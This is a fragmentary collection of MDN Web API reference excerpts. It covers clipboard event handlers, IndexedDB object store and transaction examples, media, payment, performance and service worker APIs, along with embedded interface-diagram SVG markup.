... listen to events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
HTMLElement.oncopy - Web APIs
the oncopy property of the htmlelement interface is an eventhandler that processes copy events.
... the copy event fires when the user attempts to copy text.
...the function receives a clipboardevent object as its sole argument.
... html <h3>play with this text area:</h3> <textarea id="editor" rows="3">try copying and pasting text into this field!</textarea> <h3>log:</h3> <p id="log"></p> javascript const log = document.getelementbyid('log'); function logcopy(event) { log.innertext = 'copy blocked!\n' + log.innertext; event.preventdefault(); } function logpaste(event) { log.innertext = 'paste blocked!\n' + log.innertext; event.preventdefault(); } const editor = document.getelementbyid('editor'); editor.oncopy = logcopy; editor.onpaste = logpaste; result specification whatwg standard ...
HTMLElement.oncut - Web APIs
WebAPIHTMLElementoncut
the htmlelement.oncut property of the htmlelement interface is an eventhandler that processes cut events.
... the cut event fires when the user attempts to cut text.
...the function receives a clipboardevent object as its sole argument.
... html <h3>play with this text area:</h3> <textarea id="editor" rows="3">try copying and cutting the text in this field!</textarea> <h3>log:</h3> <p id="log"></p> javascript function logcopy(event) { log.innertext = 'copied!\n' + log.innertext; } function preventcut(event) { event.preventdefault(); log.innertext = 'cut blocked!\n' + log.innertext; } const editor = document.getelementbyid('editor'); const log = document.getelementbyid('log'); editor.oncopy = logcopy; editor.oncut = preventcut; result specification whatwg standard ...
HTMLElement.onpaste - Web APIs
the htmlelement.onpaste property of the htmlelement interface is an eventhandler that processes paste events.
... the paste event fires when the user attempts to paste text.
...the function receives a clipboardevent object as its sole argument.
... html <h3>play with this text area:</h3> <textarea id="editor" rows="3">try copying and pasting text into this field!</textarea> <h3>log:</h3> <p id="log"></p> javascript function logcopy(event) { log.innertext = 'copied!\n' + log.innertext; } function logpaste(event) { log.innertext = 'pasted!\n' + log.innertext; } const editor = document.getelementbyid('editor'); const log = document.getelementbyid('log'); editor.oncopy = logcopy; editor.onpaste = logpaste; result specification whatwg standard ...
HTMLMediaElement.onencrypted - Web APIs
the onencrypted property of the htmlmediaelement is an event handler, fired whenever an encrypted event occurs, denoting the media is encrypted.
... this interface inherits from the extendableevent interface.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" t...
...4"/><a xlink:href="/docs/web/api/htmlmediaelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmediaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} syntax htmlmediaelement.onencrypted = function(encrypted) { ...
HTMLMediaElement.onwaitingforkey - Web APIs
the onwaitingforkey property of the htmlmediaelement is an event handler, fired when a waitingforkey event occurs, when playback is blocked while waiting for an encryption key.
... this interface inherits from the extendableevent interface.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" t...
...4"/><a xlink:href="/docs/web/api/htmlmediaelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmediaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} syntax htmlmediaelement.onwaitingforkey = function(waitingforkey) { ...
HTMLScriptElement - Web APIs
if the script is blocked, its element receives an error event; otherwise, it receives a load event.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><...
.../><a xlink:href="/docs/web/api/htmlscriptelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlscriptelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
... htmlscriptelement.event is a domstring; an obsolete way of registering event handlers on elements in an html document.
HTMLVideoElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/htmlvideoelement" target="_top"><rect x="131" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlvideoelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its ancestor interfaces, htmlmediaelement, and htmlelement.
... events inherits methods from its parent, htmlmediaelement, and from its ancestor htmlelement.
... listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
IDBDatabase.onversionchange - Web APIs
the onversionchange event handler of the idbdatabase interface handles the versionchange event, fired when a database structure change (idbopendbrequest.onupgradeneeded event or idbfactory.deletedatabase) was requested elsewhere (most probably in another window/tab on the same computer).
... syntax idbdatabase.onversionchange = function(event) { ...
... request.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function(event) { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectst...
....createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", { unique: false }); note.innerhtml += '<li>object store created.</li>'; db.onversionchange = function(event) { note.innerhtml += '<li>a database change has occurred; you should refresh this browser window, or close it down and use the other open version of this application, wherever it exists.</li>'; }; }; specifications specification status comment indexed database api 2.0the definition of 'onversionchange' in that specifica...
IDBObjectStore.clear() - Web APIs
syntax var request = objectstore.clear(); returns an idbrequest object on which subsequent events related to this operation are fired.
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // clear all the data form the object store cleardata(); }; function cleardata() { // open a read/write db transaction, ready for clearing the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to clear all the data out of the object store var objectstorere...
...quest = objectstore.clear(); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'clear()' in that specification.
IDBObjectStore.delete() - Web APIs
return value an idbrequest object on which subsequent events related to this operation are fired.
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...elow db = dbopenrequest.result; // run the deletedata() function to delete a record from the database deletedata(); }; function deletedata() { // open a read/write db transaction, ready for deleting the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to delete the specified record out of the object store var ob...
...jectstorerequest = objectstore.delete("walk dog"); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'delete()' in that specification.
IDBObjectStore.get() - Web APIs
return value an idbrequest object on which subsequent events related to this operation are fired.
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...ed a lot below db = dbopenrequest.result; // run the getdata() function to get the data from the database getdata(); }; function getdata() { // open a read/write db transaction, ready for retrieving the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to get a record by key from the object store var objectstorer...
...equest = objectstore.get("walk dog"); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; var myrecord = objectstorerequest.result; }; }; specifications specification status comment indexed database api 2.0the definition of 'get()' in that specification.
IDBObjectStore - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in db.
... db = dbopenrequest.result; }; // this event handles the event whereby a new version of // the database needs to be created either one has not // been created before, or a new version number has been // submitted via the window.indexeddb.open line above dbopenrequest.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: f...
...em to add in to the object store var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: 'december', year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { note.innerhtml += '<li>request successful .</li>'; } specifications specification status comment indexed database api 2.0the definition of 'idbobjectstore' in that specification.
IDBRequest.transaction - Web APIs
if a version upgrade is needed when opening a database then during the upgradeneeded event handler the transaction property will be an idbtransaction with mode equal to "versionchange", and can be used to access existing object stores and indexes, or abort the the upgrade.
... openrequest.onupgradeneeded = function(event) { console.log(openrequest.transaction.mode); // will log "versionchange".
... var db = openrequest.result; if (event.oldversion < 1) { // new database, create "books" object store.
... db.createobjectstore('books'); } if (event.oldversion < 2) { // upgrading from v1 database: add index on "title" to "books" store.
IDBTransaction.abort() - Web APIs
note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...e a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // abort the transaction we just did transaction.abort(); }; specification specification status comment indexed database api 2.0the definition of 'abort()' in that specification.
IDBTransaction.db - Web APIs
WebAPIIDBTransactiondb
note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...e a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // return the database (idbdatabase) connection with which this transaction is associated transaction.db; }; specification specification status comment indexed database api 2.0the definition of 'db' in that specification.
IDBTransaction.mode - Web APIs
note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...e a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // return the mode this transaction has been opened in (should be "readwrite" in this case) transaction.mode; }; specification specification status comment indexed database api 2.0the definition of 'mode' in that specification.
IDBTransaction.objectStore() - Web APIs
note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
... for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...e a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; specification specification status comment indexed database api 2.0the definition of 'objectstore()' in that specification.
Long Tasks API - Web APIs
the 50 ms threshold comes from the rail model, in particular the "response: process events in under 50 ms" section.
... high/variable event handling latency.
...common examples include: long running event handlers.
... work the browser does between different turns of the event loop that exceeds 50 ms.
MSCandidateWindowUpdate - Web APIs
general info synchronous no bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this event.
... on internet explorer in the new windows ui, this event is supported in windows 8.1 imes of all languages.
... syntax event property object.oncandidatewindowupdate = handler; addeventlistener method object.addeventlistener("mscandidatewindowupdate", handler, usecapture) parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event.
... tan ime candidate window may be identified as needing to change size for any of the following reasons: as a result of displaying new / changed alternatives or predictions web applications need only register for this event once per element (the handler will remain valid for the lifetime of the element).
MediaDevices.getDisplayMedia() - Web APIs
invalidstateerror the call to getdisplaymedia() was not made from code running due to a user action, such as an event handler.
... another potential cause for this event: the document in whose context getdisplaymedia() was called is not fully active; for example, perhaps it is not the frontmost tab.
... notreadableerror the user selected a screen, window, tab, or other source of screen data, but a hardware or operating system level error or lockout occurred, preventing the sharing of the selected source.
... the call to getdisplaymedia() must be made from code which is running in response to a user action, such as in an event handler.
MediaDevices.getUserMedia() - Web APIs
possible errors are: aborterror although the user and operating system both granted access to the hardware device, and no hardware issues occurred that would cause a notreadableerror, some problem occurred which prevented the device from being used.
... notreadableerror although the user granted permission to use the matching devices, a hardware error occurred at the operating system, browser, or web page level which prevented access to the device.
... getusermedia() is a powerful feature which can only be used in secure contexts; in insecure contexts, navigator.mediadevices is undefined, preventing access to getusermedia().
...for example, you may need to use the allow attribute on any <iframe> that uses getusermedia(), and pages that use getusermedia() will eventually need to supply the feature-policy header.
MediaKeySession.onkeystatuseschange - Web APIs
the onkeystatuseschange property of the mediakeysession is an event handler, fired whenever a keystatuschange event ocurrs, denoting there has been a change in the keys or their statuses within a session.
... this interface inherits from the extendableevent interface.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/mediake...
...ysession" target="_top"><rect x="151" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">mediakeysession</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} syntax mediakeysession.onkeystatuseschange = function(keystatuschange) { ...
MediaKeySession.onmessage - Web APIs
the onmessage property of the mediakeysession is an event handler, fired whenever a mediakeymessageevent occurs, denoting a message is generated by the content decryption module.
... this interface inherits from the extendableevent interface.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/mediake...
...ysession" target="_top"><rect x="151" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">mediakeysession</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} syntax mediakeysession.onmessage = function(mediakeymessageevent) { ...
MediaRecorder.onpause - Web APIs
the mediarecorder.onpause event handler (part of the mediarecorder api) handles the pause event, allowing you to run code in response to the media recording being paused.
... the pause event is thrown as a result of the mediarecorder.pause() method being invoked.
... syntax mediarecorder.onpause = function(event) { ...
... } mediarecorder.addeventlistener('pause', function(event) { ...
MediaRecorder.onresume - Web APIs
the mediarecorder.onresume event handler (part of the mediarecorder api) handles the resume event, allowing you to run code in response to the media recording being resumed after pausing.
... the resume event is thrown as a result of the mediarecorder.resume() method being invoked.
... syntax mediarecorder.onresume = function(event) { ...
... } mediarecorder.addeventlistener('resume', function(event) { ...
MediaRecorder.onstart - Web APIs
the mediarecorder.onstartevent handler (part of the mediarecorder api) handles the start event, allowing you to run code in response to media recording being started by a mediarecorder.
... the start event is thrown as a result of the mediarecorder.start() method being invoked.
... syntax mediarecorder.onstart = function(event) { ...
... } mediarecorder.addeventlistener('start', function(event) { ...
MediaStreamTrack.onmute - Web APIs
mediastreamtrack's onmute event handler is called when the mute event is received.
... such an event is sent when the track is temporarily not able to send data.
... syntax track.onmute = mutehandler; value a function to serve as an eventhandler for the mute event.
... the event handler function receives a single parameter: the event object, which is a simple event object.
Media Session API - Web APIs
it does this by providing metadata for display by the user agent of the media your web app is playing, and allows you to create event handlers, to define your own behaviors for a user-agent playback controls.
...since multiple pages may be simultaneously using this api, the user agent is responsible for calling the correct page's event handlers.
...it then instantiates a metadata object for the session, and adds event handlers for the user control actions: if ('mediasession' in navigator) { navigator.mediasession.metadata = new mediametadata({ title: 'unforgettable', artist: 'nat king cole', album: 'the ultimate collection (remastered)', artwork: [ { src: 'https://dummyimage.com/96x96', sizes: '96x96', type: 'image/png' }, { src: 'https://dummyimage.com/128x128', sizes: '128x...
...the following example adds a pointerup event to an on-page play button, which is then used to kick off the media session code: playbutton.addeventlistener('pointerup', function(event) { var audio = document.queryselector('audio'); // user interacted with the page.
NDEFReader - Web APIs
properties in addition to the properties listed below, ndefreader inherits properties from its parent interface, eventtarget.
... ndefreader.onreading an event handler for reading event, that notifies about availability of a new reading.
... ndefreader.onerror an event handler for error event which is called to notify that an error occured during reading.
... methods the ndefreader interface inherits the methods of eventtarget, its parent interface.
NavigationPreloadManager - Web APIs
examples feature detecting and enabling navigation preloading addeventlistener('activate', event => { event.waituntil(async function() { if (self.registration.navigationpreload) { // enable navigation preloads!
... await self.registration.navigationpreload.enable(); } }()); }); using a preloaded response the following example shows the implementation of a fetch event that uses a preloaded response.
... addeventlistener('fetch', event => { event.respondwith(async function() { // respond from the cache if we can const cachedresponse = await caches.match(event.request); if (cachedresponse) return cachedresponse; // else, use the preloaded response, if it's there const response = await event.preloadresponse; if (response) return response; // else try the network.
... return fetch(event.request); }()); }); specifications specification status comment service workersthe definition of 'navigationpreloadmanager' in that specification.
OfflineAudioContext.startRendering() - Web APIs
the complete event (of type offlineaudiocompletionevent) is raised when the rendering is finished, containing the resulting audiobuffer in its renderedbuffer property.
... browsers currently support two versions of the startrendering() method — an older event-based version and a newer promise-based version.
... the former will eventually be removed, but currently both mechanisms are provided for legacy reasons.
... syntax event-based version: offlineaudioctx.startrendering(); offlineaudioctx.oncomplete = function(e) { // e.renderedbuffer contains the output buffer } promise-based version: offlineaudioctx.startrendering().then(function(buffer) { // buffer contains the output buffer }); parameters none.
PaymentRequest.onmerchantvalidation - Web APIs
the paymentrequest event handler onmerchantvalidation is invoked when the merchantvalidation is fired, indicating that the payment handler (e.g., apple pay) requires the merchant to validate themselves.
... this is usually the first event to be fired, and the user won't be able to proceed with a payment until the merchant validate themselves.
... this event is not be fired by all payment handlers.
... syntax paymentrequest.onmerchantvalidation = eventhandlerfunction; value an event handler function which is to be called whenever the merchantvalidation event is fired at the paymentrequest, indicating that the payment handler requires the merchant to validate themselves as allowed to use this payment handler.
PaymentResponse.onpayerdetailchange - Web APIs
the paymentresponse object's onpayerdetailchange property is an event handler which is called to handle the payerdetailchange event, which is sent to the paymentresponse when the user makes changes to their personal information while filling out a payment request form.
... syntax paymentresponse.onpayerdetailchange = eventhandlerfunction; value an event handler function which is called to handle the payerdetailchange event when the user makes changes to their personal information while editing a payment request form.
... examples in the example below, onpayerdetailchange is used to set up a listener for the payerdetailchange event in order to validate the information entered by the user, requesting that any mistakes be corrected // options for paymentrequest(), indicating that shipping address, // payer email address, name, and phone number all be collected.
...options = { requestshipping: true, requestpayeremail: true, requestpayername: true, requestpayerphone: true, }; const request = new paymentrequest(methods, details, options); const response = request.show(); // get the data from the response let { payername: oldpayername, payeremail: oldpayeremail, payerphone: oldpayerphone, } = response; // set up a handler for payerdetailchange events, to // request corrections as needed.
Performance.onresourcetimingbufferfull - Web APIs
the onresourcetimingbufferfull property is an event handler that will be called when the resourcetimingbufferfull event is fired.
... this event is fired when the browser's resource timing performance buffer is full.
... syntax callback = performance.onresourcetimingbufferfull = buffer_full_cb; return value callback an eventhandler that is invoked when the resourcetimingbufferfull event is fired.
... function buffer_full(event) { console.log("warning: resource timing buffer is full!"); performance.setresourcetimingbuffersize(200); } function init() { // set a callback if the resource buffer becomes filled performance.onresourcetimingbufferfull = buffer_full; } <body onload="init()"> specifications specification status comment resource timing level 1the definition of 'onresourcetimingbufferfull' in that specification.
PerformanceFrameTiming - Web APIs
performanceframetiming is an abstract interface that provides frame timing data about the browser's event loop.
... a frame represents the amount of work a browser does in one event loop such as processing dom events, resizing, scrolling, rendering, css animations, etc..
... an application can register a performanceobserver for "frame" performance entry types and the observer can retrieve data about the duration of each frame event.
...ink:href="/docs/web/api/performanceframetiming" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceframetiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but it extends the following performanceentry properties (for "frame" performance entry types) by qualifying and constraining the properties as follows: performanceentry.entrytype returns "frame".
PerformanceObserver() - Web APIs
the observer callback is invoked when performance entry events are recorded for the entry types that have been registered, via the observe() method.
... syntax var observer = new performanceobserver(callback); parameters callback a performanceobservercallback callback that will be invoked when observed performance events are recorded.
... return value a new performanceobserver object which will call the specified callback when observed performance events occur.
... example var observer = new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); function perf_observer(list, observer) { // process the "measure" event } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'performanceobserver()' in that specification.
Performance API - Web APIs
performanceframetiming provides methods and properties containing frame timing data about the browser's event loop.
... performancenavigationtiming provides methods and properties to store and retrieve high resolution timestamps or metrics regarding the browser's document navigation events.
... performanceobserver provides methods and properties used to observe performance measurement events and be notified of new performance entries as they are recorded in the browser's performance timeline.
...adds the clearresourcetimings() method, the setresourcetimingbuffersize() method, and the onresourcetimingbufferfull event handler to the performance interface.
RTCDataChannel.onclosing - Web APIs
